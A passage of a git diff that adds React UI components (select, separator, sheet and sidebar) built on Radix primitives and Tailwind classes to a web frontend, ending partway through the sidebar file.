+function SelectValue({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Value>) {
+  return <SelectPrimitive.Value data-slot='select-value' {...props} />
+}
+
+function SelectTrigger({
+  className,
+  size = 'default',
+  children,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Trigger> & {
+  size?: 'sm' | 'default'
+}) {
+  return (
+    <SelectPrimitive.Trigger
+      data-slot='select-trigger'
+      data-size={size}
+      className={cn(
+        "border-input data-[placeholder]:text-muted-foreground [&_svg:not([class*='text-'])]:text-muted-foreground focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 dark:hover:bg-input/50 flex w-fit items-center justify-between gap-2 rounded-md border bg-transparent px-3 py-2 text-sm whitespace-nowrap shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 data-[size=default]:h-9 data-[size=sm]:h-8 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center *:data-[slot=select-value]:gap-2 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    >
+      {children}
+      <SelectPrimitive.Icon asChild>
+        <ChevronDownIcon className='size-4 opacity-50' />
+      </SelectPrimitive.Icon>
+    </SelectPrimitive.Trigger>
+  )
+}
+
+function SelectContent({
+  className,
+  children,
+  position = 'popper',
+  align = 'center',
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Content>) {
+  return (
+    <SelectPrimitive.Portal>
+      <SelectPrimitive.Content
+        data-slot='select-content'
+        className={cn(
+          'bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 relative z-50 max-h-(--radix-select-content-available-height) min-w-[8rem] origin-(--radix-select-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border shadow-md',
+          position === 'popper' &&
+            'data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1',
+          className
+        )}
+        position={position}
+        align={align}
+        {...props}
+      >
+        <SelectScrollUpButton />
+        <SelectPrimitive.Viewport
+          className={cn(
+            'p-1',
+            position === 'popper' &&
+              'h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)] scroll-my-1'
+          )}
+        >
+          {children}
+        </SelectPrimitive.Viewport>
+        <SelectScrollDownButton />
+      </SelectPrimitive.Content>
+    </SelectPrimitive.Portal>
+  )
+}
+
+function SelectLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Label>) {
+  return (
+    <SelectPrimitive.Label
+      data-slot='select-label'
+      className={cn('text-muted-foreground px-2 py-1.5 text-xs', className)}
+      {...props}
+    />
+  )
+}
+
+function SelectItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Item>) {
+  return (
+    <SelectPrimitive.Item
+      data-slot='select-item'
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground [&_svg:not([class*='text-'])]:text-muted-foreground relative flex w-full cursor-default items-center gap-2 rounded-sm py-1.5 pr-8 pl-2 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
+        className
+      )}
+      {...props}
+    >
+      <span className='absolute right-2 flex size-3.5 items-center justify-center'>
+        <SelectPrimitive.ItemIndicator>
+          <CheckIcon className='size-4' />
+        </SelectPrimitive.ItemIndicator>
+      </span>
+      <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>
+    </SelectPrimitive.Item>
+  )
+}
+
+function SelectSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Separator>) {
+  return (
+    <SelectPrimitive.Separator
+      data-slot='select-separator'
+      className={cn('bg-border pointer-events-none -mx-1 my-1 h-px', className)}
+      {...props}
+    />
+  )
+}
+
+function SelectScrollUpButton({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.ScrollUpButton>) {
+  return (
+    <SelectPrimitive.ScrollUpButton
+      data-slot='select-scroll-up-button'
+      className={cn(
+        'flex cursor-default items-center justify-center py-1',
+        className
+      )}
+      {...props}
+    >
+      <ChevronUpIcon className='size-4' />
+    </SelectPrimitive.ScrollUpButton>
+  )
+}
+
+function SelectScrollDownButton({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.ScrollDownButton>) {
+  return (
+    <SelectPrimitive.ScrollDownButton
+      data-slot='select-scroll-down-button'
+      className={cn(
+        'flex cursor-default items-center justify-center py-1',
+        className
+      )}
+      {...props}
+    >
+      <ChevronDownIcon className='size-4' />
+    </SelectPrimitive.ScrollDownButton>
+  )
+}
+
+export {
+  Select,
+  SelectContent,
+  SelectGroup,
+  SelectItem,
+  SelectLabel,
+  SelectScrollDownButton,
+  SelectScrollUpButton,
+  SelectSeparator,
+  SelectTrigger,
+  SelectValue,
+}
diff --git a/new-api/web/default/src/components/ui/separator.tsx b/new-api/web/default/src/components/ui/separator.tsx
new file mode 100644
index 0000000..f418324
--- /dev/null
+++ b/new-api/web/default/src/components/ui/separator.tsx
@@ -0,0 +1,25 @@
+import * as React from 'react'
+import * as SeparatorPrimitive from '@radix-ui/react-separator'
+import { cn } from '@/lib/utils'
+
+function Separator({
+  className,
+  orientation = 'horizontal',
+  decorative = true,
+  ...props
+}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
+  return (
+    <SeparatorPrimitive.Root
+      data-slot='separator'
+      decorative={decorative}
+      orientation={orientation}
+      className={cn(
+        'bg-border shrink-0 data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:w-px',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Separator }
diff --git a/new-api/web/default/src/components/ui/sheet.tsx b/new-api/web/default/src/components/ui/sheet.tsx
new file mode 100644
index 0000000..6ad3df1
--- /dev/null
+++ b/new-api/web/default/src/components/ui/sheet.tsx
@@ -0,0 +1,136 @@
+import * as React from 'react'
+import * as SheetPrimitive from '@radix-ui/react-dialog'
+import { XIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function Sheet({ ...props }: React.ComponentProps<typeof SheetPrimitive.Root>) {
+  return <SheetPrimitive.Root data-slot='sheet' {...props} />
+}
+
+function SheetTrigger({
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Trigger>) {
+  return <SheetPrimitive.Trigger data-slot='sheet-trigger' {...props} />
+}
+
+function SheetClose({
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Close>) {
+  return <SheetPrimitive.Close data-slot='sheet-close' {...props} />
+}
+
+function SheetPortal({
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Portal>) {
+  return <SheetPrimitive.Portal data-slot='sheet-portal' {...props} />
+}
+
+function SheetOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Overlay>) {
+  return (
+    <SheetPrimitive.Overlay
+      data-slot='sheet-overlay'
+      className={cn(
+        'data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SheetContent({
+  className,
+  children,
+  side = 'right',
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Content> & {
+  side?: 'top' | 'right' | 'bottom' | 'left'
+}) {
+  return (
+    <SheetPortal>
+      <SheetOverlay />
+      <SheetPrimitive.Content
+        data-slot='sheet-content'
+        className={cn(
+          'bg-background data-[state=open]:animate-in data-[state=closed]:animate-out fixed z-50 flex flex-col gap-4 shadow-lg transition ease-in-out data-[state=closed]:duration-300 data-[state=open]:duration-500',
+          side === 'right' &&
+            'data-[state=closed]:slide-out-to-end data-[state=open]:slide-in-from-end inset-y-0 end-0 h-full w-3/4 border-s sm:max-w-sm',
+          side === 'left' &&
+            'data-[state=closed]:slide-out-to-start data-[state=open]:slide-in-from-start inset-y-0 start-0 h-full w-3/4 border-e sm:max-w-sm',
+          side === 'top' &&
+            'data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top inset-x-0 top-0 h-auto border-b',
+          side === 'bottom' &&
+            'data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom inset-x-0 bottom-0 h-auto border-t',
+          className
+        )}
+        {...props}
+      >
+        {children}
+        <SheetPrimitive.Close className='ring-offset-background focus:ring-ring data-[state=open]:bg-secondary absolute end-4 top-4 rounded-xs opacity-70 transition-opacity hover:opacity-100 focus:ring-2 focus:ring-offset-2 focus:outline-hidden disabled:pointer-events-none'>
+          <XIcon className='size-4' />
+          <span className='sr-only'>Close</span>
+        </SheetPrimitive.Close>
+      </SheetPrimitive.Content>
+    </SheetPortal>
+  )
+}
+
+function SheetHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sheet-header'
+      className={cn('flex flex-col gap-1.5 p-4', className)}
+      {...props}
+    />
+  )
+}
+
+function SheetFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sheet-footer'
+      className={cn('mt-auto flex flex-col gap-2 p-4', className)}
+      {...props}
+    />
+  )
+}
+
+function SheetTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Title>) {
+  return (
+    <SheetPrimitive.Title
+      data-slot='sheet-title'
+      className={cn('text-foreground font-semibold', className)}
+      {...props}
+    />
+  )
+}
+
+function SheetDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Description>) {
+  return (
+    <SheetPrimitive.Description
+      data-slot='sheet-description'
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  Sheet,
+  SheetTrigger,
+  SheetClose,
+  SheetContent,
+  SheetHeader,
+  SheetFooter,
+  SheetTitle,
+  SheetDescription,
+}
diff --git a/new-api/web/default/src/components/ui/sidebar.tsx b/new-api/web/default/src/components/ui/sidebar.tsx
new file mode 100644
index 0000000..20b2be1
--- /dev/null
+++ b/new-api/web/default/src/components/ui/sidebar.tsx
@@ -0,0 +1,732 @@
+import * as React from 'react'
+import { Slot } from '@radix-ui/react-slot'
+import { VariantProps, cva } from 'class-variance-authority'
+import { PanelLeftIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useIsMobile } from '@/hooks/use-mobile'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Separator } from '@/components/ui/separator'
+import {
+  Sheet,
+  SheetContent,
+  SheetDescription,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Skeleton } from '@/components/ui/skeleton'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+const SIDEBAR_COOKIE_NAME = 'sidebar_state'
+const SIDEBAR_COOKIE_MAX_AGE = 60 * 60 * 24 * 7
+const SIDEBAR_WIDTH = '16rem'
+const SIDEBAR_WIDTH_MOBILE = '18rem'
+const SIDEBAR_WIDTH_ICON = '3rem'
+const SIDEBAR_KEYBOARD_SHORTCUT = 'b'
+
+type SidebarContextProps = {
+  state: 'expanded' | 'collapsed'
+  open: boolean
+  setOpen: (open: boolean) => void
+  openMobile: boolean
+  setOpenMobile: (open: boolean) => void
+  isMobile: boolean
+  toggleSidebar: () => void
+}
+
+const SidebarContext = React.createContext<SidebarContextProps | null>(null)
+
+function useSidebar() {
+  const context = React.useContext(SidebarContext)
+  if (!context) {
+    throw new Error('useSidebar must be used within a SidebarProvider.')
+  }
+
+  return context
+}
+
+function SidebarProvider({
+  defaultOpen = true,
+  open: openProp,
+  onOpenChange: setOpenProp,
+  className,
+  style,
+  children,
+  ...props
+}: React.ComponentProps<'div'> & {
+  defaultOpen?: boolean
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}) {
+  const isMobile = useIsMobile()
+  const [openMobile, setOpenMobile] = React.useState(false)
+
+  // This is the internal state of the sidebar.
+  // We use openProp and setOpenProp for control from outside the component.
+  const [_open, _setOpen] = React.useState(defaultOpen)
+  const open = openProp ?? _open
+  const setOpen = React.useCallback(
+    (value: boolean | ((value: boolean) => boolean)) => {
+      const openState = typeof value === 'function' ? value(open) : value
+      if (setOpenProp) {
+        setOpenProp(openState)
+      } else {
+        _setOpen(openState)
+      }
+
+      // This sets the cookie to keep the sidebar state.
+      document.cookie = `${SIDEBAR_COOKIE_NAME}=${openState}; path=/; max-age=${SIDEBAR_COOKIE_MAX_AGE}`
+    },
+    [setOpenProp, open]
+  )
+
+  // Helper to toggle the sidebar.
+  const toggleSidebar = React.useCallback(() => {
+    return isMobile ? setOpenMobile((open) => !open) : setOpen((open) => !open)
+  }, [isMobile, setOpen, setOpenMobile])
+
+  // Adds a keyboard shortcut to toggle the sidebar.
+  React.useEffect(() => {
+    const handleKeyDown = (event: KeyboardEvent) => {
+      if (
+        event.key === SIDEBAR_KEYBOARD_SHORTCUT &&
+        (event.metaKey || event.ctrlKey)
+      ) {
+        event.preventDefault()
+        toggleSidebar()
+      }
+    }
+
+    window.addEventListener('keydown', handleKeyDown)
+    return () => window.removeEventListener('keydown', handleKeyDown)
+  }, [toggleSidebar])
+
+  // We add a state so that we can do data-state="expanded" or "collapsed".
+  // This makes it easier to style the sidebar with Tailwind classes.
+  const state = open ? 'expanded' : 'collapsed'
+
+  const contextValue = React.useMemo<SidebarContextProps>(
+    () => ({
+      state,
+      open,
+      setOpen,
+      isMobile,
+      openMobile,
+      setOpenMobile,
+      toggleSidebar,
+    }),
+    [state, open, setOpen, isMobile, openMobile, setOpenMobile, toggleSidebar]
+  )
+
+  return (
+    <SidebarContext.Provider value={contextValue}>
+      <TooltipProvider delayDuration={0}>
+        <div
+          data-slot='sidebar-wrapper'
+          style={
+            {
+              '--sidebar-width': SIDEBAR_WIDTH,
+              '--sidebar-width-icon': SIDEBAR_WIDTH_ICON,
+              ...style,
+            } as React.CSSProperties
+          }
+          className={cn(
+            'group/sidebar-wrapper has-data-[variant=inset]:bg-sidebar flex min-h-svh w-full',
+            className
+          )}
+          {...props}
+        >
+          {children}
+        </div>
+      </TooltipProvider>
+    </SidebarContext.Provider>
+  )
+}
+
+function Sidebar({
+  side = 'left',
+  variant = 'sidebar',
+  collapsible = 'offcanvas',
+  className,
+  children,
+  ...props
+}: React.ComponentProps<'div'> & {
+  side?: 'left' | 'right'
+  variant?: 'sidebar' | 'floating' | 'inset'
+  collapsible?: 'offcanvas' | 'icon' | 'none'
+}) {
+  const { t } = useTranslation()
+  const { isMobile, state, openMobile, setOpenMobile } = useSidebar()
+
+  if (collapsible === 'none') {
+    return (
+      <div
+        data-slot='sidebar'
+        className={cn(
+          'bg-sidebar text-sidebar-foreground flex h-full w-(--sidebar-width) flex-col',
+          className
+        )}
+        {...props}
+      >
+        {children}
+      </div>
+    )
+  }
+
+  if (isMobile) {
+    return (
+      <Sheet open={openMobile} onOpenChange={setOpenMobile} {...props}>
+        <SheetContent
+          data-sidebar='sidebar'
+          data-slot='sidebar'
+          data-mobile='true'
+          className='bg-sidebar text-sidebar-foreground w-(--sidebar-width) p-0 [&>button]:hidden'
+          style={
+            {
+              '--sidebar-width': SIDEBAR_WIDTH_MOBILE,
+            } as React.CSSProperties
+          }
+          side={side}
+        >
+          <SheetHeader className='sr-only'>
+            <SheetTitle>{t('Sidebar')}</SheetTitle>
+            <SheetDescription>
+              {t('Displays the mobile sidebar.')}
+            </SheetDescription>
+          </SheetHeader>
+          <div className='flex h-full w-full flex-col'>{children}</div>
+        </SheetContent>
+      </Sheet>
+    )
+  }
+
+  return (
+    <div
+      className='group peer text-sidebar-foreground hidden md:block'
+      data-state={state}
+      data-collapsible={state === 'collapsed' ? collapsible : ''}
+      data-variant={variant}
+      data-side={side}
+      data-slot='sidebar'
+    >
+      {/* This is what handles the sidebar gap on desktop */}
+      <div
+        data-slot='sidebar-gap'
+        className={cn(
+          'relative w-(--sidebar-width) bg-transparent transition-[width] duration-250 ease-[cubic-bezier(0.33,1,0.68,1)]',
+          'group-data-[collapsible=offcanvas]:w-0',
+          'group-data-[side=right]:rotate-180',
+          variant === 'floating' || variant === 'inset'
+            ? 'group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)+(--spacing(4)))]'
+            : 'group-data-[collapsible=icon]:w-(--sidebar-width-icon)'
+        )}
+      />
+      <div
+        data-slot='sidebar-container'
+        className={cn(
+          'fixed inset-y-0 z-10 hidden h-svh w-(--sidebar-width) transition-[inset-inline,width] duration-250 ease-[cubic-bezier(0.33,1,0.68,1)] md:flex',
+          side === 'left'
+            ? 'start-0 group-data-[collapsible=offcanvas]:-start-[calc(var(--sidebar-width))]'
+            : 'end-0 group-data-[collapsible=offcanvas]:-end-[calc(var(--sidebar-width))]',
+          // Adjust the padding for floating and inset variants.
+          variant === 'floating' || variant === 'inset'
+            ? 'p-2 group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)+(--spacing(4))+2px)]'
+            : 'group-data-[collapsible=icon]:w-(--sidebar-width-icon) group-data-[side=left]:border-e group-data-[side=right]:border-s',
+          className
+        )}
+        {...props}
+      >
+        <div
+          data-sidebar='sidebar'
+          data-slot='sidebar-inner'
+          className='bg-sidebar group-data-[variant=floating]:border-sidebar-border flex h-full w-full flex-col group-data-[variant=floating]:rounded-lg group-data-[variant=floating]:border group-data-[variant=floating]:shadow-sm'
+        >
+          {children}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+function SidebarTrigger({
+  className,
+  onClick,
+  ...props
+}: React.ComponentProps<typeof Button>) {
+  const { toggleSidebar } = useSidebar()
+
+  return (
+    <Button
+      data-sidebar='trigger'
+      data-slot='sidebar-trigger'
+      variant='ghost'
+      size='icon'
+      className={cn('size-7', className)}
+      onClick={(event) => {
+        onClick?.(event)
+        toggleSidebar()
+      }}
+      {...props}
+    >
+      <PanelLeftIcon />
+      <span className='sr-only'>Toggle Sidebar</span>
+    </Button>
+  )
+}
+
+function SidebarRail({ className, ...props }: React.ComponentProps<'button'>) {
+  const { toggleSidebar } = useSidebar()
+
+  return (
+    <button
+      data-sidebar='rail'
+      data-slot='sidebar-rail'
+      aria-label='Toggle Sidebar'
+      tabIndex={-1}
+      onClick={toggleSidebar}
+      title='Toggle Sidebar'
+      className={cn(
+        'hover:after:bg-sidebar-border absolute inset-y-0 z-20 hidden w-4 -translate-x-1/2 transition-all ease-linear group-data-[side=left]:-end-4 group-data-[side=right]:start-0 after:absolute after:inset-y-0 after:start-1/2 after:w-[2px] sm:flex',
+        'in-data-[side=left]:cursor-w-resize in-data-[side=right]:cursor-e-resize',
+        '[[data-side=left][data-state=collapsed]_&]:cursor-e-resize [[data-side=right][data-state=collapsed]_&]:cursor-w-resize',
+        'hover:group-data-[collapsible=offcanvas]:bg-sidebar group-data-[collapsible=offcanvas]:translate-x-0 group-data-[collapsible=offcanvas]:after:start-full',
+        '[[data-side=left][data-collapsible=offcanvas]_&]:-end-2',
+        '[[data-side=right][data-collapsible=offcanvas]_&]:-start-2',
+
+        // RTL support
+        'rtl:translate-x-1/2',
+        'rtl:in-data-[side=left]:cursor-e-resize rtl:in-data-[side=right]:cursor-w-resize',
+        'rtl:[[data-side=left][data-state=collapsed]_&]:cursor-w-resize rtl:[[data-side=right][data-state=collapsed]_&]:cursor-e-resize',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarInset({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-inset'
+      className={cn(
+        'bg-background relative flex w-full flex-1 flex-col',
+        'md:peer-data-[variant=inset]:m-2 md:peer-data-[variant=inset]:ms-0 md:peer-data-[variant=inset]:rounded-xl md:peer-data-[variant=inset]:shadow-sm md:peer-data-[variant=inset]:peer-data-[state=collapsed]:ms-2',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarInput({
+  className,
+  ...props
+}: React.ComponentProps<typeof Input>) {
+  return (
+    <Input
+      data-slot='sidebar-input'
+      data-sidebar='input'
+      className={cn('bg-background h-8 w-full shadow-none', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-header'
+      data-sidebar='header'
+      className={cn('flex flex-col gap-2 p-2', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-footer'
+      data-sidebar='footer'
+      className={cn('flex flex-col gap-2 p-2', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof Separator>) {
+  return (
+    <Separator
+      data-slot='sidebar-separator'
+      data-sidebar='separator'
+      className={cn('bg-sidebar-border mx-2 w-auto', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarContent({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-content'
+      data-sidebar='content'
+      className={cn(
+        'flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarGroup({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-group'
+      data-sidebar='group'
+      className={cn('relative flex w-full min-w-0 flex-col p-2', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarGroupLabel({
+  className,
+  asChild = false,
+  ...props
+}: React.ComponentProps<'div'> & { asChild?: boolean }) {
+  const Comp = asChild ? Slot : 'div'
+
+  return (
+    <Comp
+      data-slot='sidebar-group-label'
+      data-sidebar='group-label'
+      className={cn(
+        'text-sidebar-foreground/70 ring-sidebar-ring flex h-8 shrink-0 items-center rounded-md px-2 text-xs font-medium outline-hidden transition-[margin,opacity] duration-250 ease-[cubic-bezier(0.33,1,0.68,1)] focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0',
+        'group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarGroupAction({
+  className,
+  asChild = false,
+  ...props
+}: React.ComponentProps<'button'> & { asChild?: boolean }) {
+  const Comp = asChild ? Slot : 'button'
+
+  return (
+    <Comp
+      data-slot='sidebar-group-action'
+      data-sidebar='group-action'
+      className={cn(
+        'text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground absolute end-3 top-3.5 flex aspect-square w-5 items-center justify-center rounded-md p-0 outline-hidden transition-transform focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0',
+        // Increases the hit area of the button on mobile.
+        'after:absolute after:-inset-2 md:after:hidden',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarGroupContent({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-group-content'
+      data-sidebar='group-content'
+      className={cn('w-full text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarMenu({ className, ...props }: React.ComponentProps<'ul'>) {
+  return (
+    <ul
+      data-slot='sidebar-menu'
+      data-sidebar='menu'
+      className={cn('flex w-full min-w-0 flex-col gap-1', className)}
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuItem({ className, ...props }: React.ComponentProps<'li'>) {
+  return (
+    <li
+      data-slot='sidebar-menu-item'
+      data-sidebar='menu-item'
+      className={cn('group/menu-item relative', className)}
+      {...props}
+    />
+  )
+}
+
+const sidebarMenuButtonVariants = cva(
+  'peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-start text-sm outline-hidden ring-sidebar-ring transition-[width,height,padding,background-color,color,transform] duration-150 ease-out hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 group-has-data-[sidebar=menu-action]/menu-item:pe-8 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0',
+  {
+    variants: {
+      variant: {
+        default: 'hover:bg-sidebar-accent hover:text-sidebar-accent-foreground',
+        outline:
+          'bg-background shadow-[0_0_0_1px_var(--sidebar-border)] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_var(--sidebar-accent)]',
+      },
+      size: {
+        default: 'h-8 text-sm',
+        sm: 'h-7 text-xs',
+        lg: 'h-12 text-sm group-data-[collapsible=icon]:p-0!',
+      },
+    },
+    defaultVariants: {
+      variant: 'default',
+      size: 'default',
+    },
+  }
+)
+
+function SidebarMenuButton({
+  asChild = false,
+  isActive = false,
+  variant = 'default',
+  size = 'default',
+  tooltip,
+  className,
+  ...props
+}: React.ComponentProps<'button'> & {
+  asChild?: boolean
+  isActive?: boolean
+  tooltip?: string | React.ComponentProps<typeof TooltipContent>
+} & VariantProps<typeof sidebarMenuButtonVariants>) {
+  const Comp = asChild ? Slot : 'button'
+  const { isMobile, state } = useSidebar()
+
+  const button = (
+    <Comp
+      data-slot='sidebar-menu-button'
+      data-sidebar='menu-button'
+      data-size={size}
+      data-active={isActive}
+      className={cn(sidebarMenuButtonVariants({ variant, size }), className)}
+      {...props}
+    />
+  )
+
+  if (!tooltip) {
+    return button
+  }
+
+  if (typeof tooltip === 'string') {
+    tooltip = {
+      children: tooltip,
+    }
+  }
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>{button}</TooltipTrigger>
+      <TooltipContent
+        side='right'
+        align='center'
+        hidden={state !== 'collapsed' || isMobile}
+        {...tooltip}
+      />
+    </Tooltip>
+  )
+}
+
+function SidebarMenuAction({
+  className,
+  asChild = false,
+  showOnHover = false,
+  ...props
+}: React.ComponentProps<'button'> & {
+  asChild?: boolean
+  showOnHover?: boolean
+}) {
+  const Comp = asChild ? Slot : 'button'
+
+  return (
+    <Comp
+      data-slot='sidebar-menu-action'
+      data-sidebar='menu-action'
+      className={cn(
+        'text-sidebar-foreground ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground peer-hover/menu-button:text-sidebar-accent-foreground absolute end-1 top-1.5 flex aspect-square w-5 items-center justify-center rounded-md p-0 outline-hidden transition-transform focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0',
+        // Increases the hit area of the button on mobile.
+        'after:absolute after:-inset-2 md:after:hidden',
+        'peer-data-[size=sm]/menu-button:top-1',
+        'peer-data-[size=default]/menu-button:top-1.5',
+        'peer-data-[size=lg]/menu-button:top-2.5',
+        'group-data-[collapsible=icon]:hidden',
+        showOnHover &&
+          'peer-data-[active=true]/menu-button:text-sidebar-accent-foreground group-focus-within/menu-item:opacity-100 group-hover/menu-item:opacity-100 data-[state=open]:opacity-100 md:opacity-0',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuBadge({
+  className,
+  ...props
+}: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='sidebar-menu-badge'
+      data-sidebar='menu-badge'
+      className={cn(
+        'text-sidebar-foreground pointer-events-none absolute end-1 flex h-5 min-w-5 items-center justify-center rounded-md px-1 text-xs font-medium tabular-nums select-none',
+        'peer-hover/menu-button:text-sidebar-accent-foreground peer-data-[active=true]/menu-button:text-sidebar-accent-foreground',
+        'peer-data-[size=sm]/menu-button:top-1',
+        'peer-data-[size=default]/menu-button:top-1.5',
+        'peer-data-[size=lg]/menu-button:top-2.5',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuSkeleton({
+  className,
+  showIcon = false,
+  ...props
+}: React.ComponentProps<'div'> & {
+  showIcon?: boolean
+}) {
+  // Random width between 50 to 90%.
+  const width = React.useMemo(() => {
+    return `${Math.floor(Math.random() * 40) + 50}%`
+  }, [])
+
+  return (
+    <div
+      data-slot='sidebar-menu-skeleton'
+      data-sidebar='menu-skeleton'
+      className={cn('flex h-8 items-center gap-2 rounded-md px-2', className)}
+      {...props}
+    >
+      {showIcon && (
+        <Skeleton
+          className='size-4 rounded-md'
+          data-sidebar='menu-skeleton-icon'
+        />
+      )}
+      <Skeleton
+        className='h-4 max-w-(--skeleton-width) flex-1'
+        data-sidebar='menu-skeleton-text'
+        style={
+          {
+            '--skeleton-width': width,
+          } as React.CSSProperties
+        }
+      />
+    </div>
+  )
+}
+
+function SidebarMenuSub({ className, ...props }: React.ComponentProps<'ul'>) {
+  return (
+    <ul
+      data-slot='sidebar-menu-sub'
+      data-sidebar='menu-sub'
+      className={cn(
+        'border-sidebar-border mx-3.5 flex min-w-0 translate-x-px flex-col gap-1 border-s px-2.5 py-0.5',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuSubItem({
+  className,
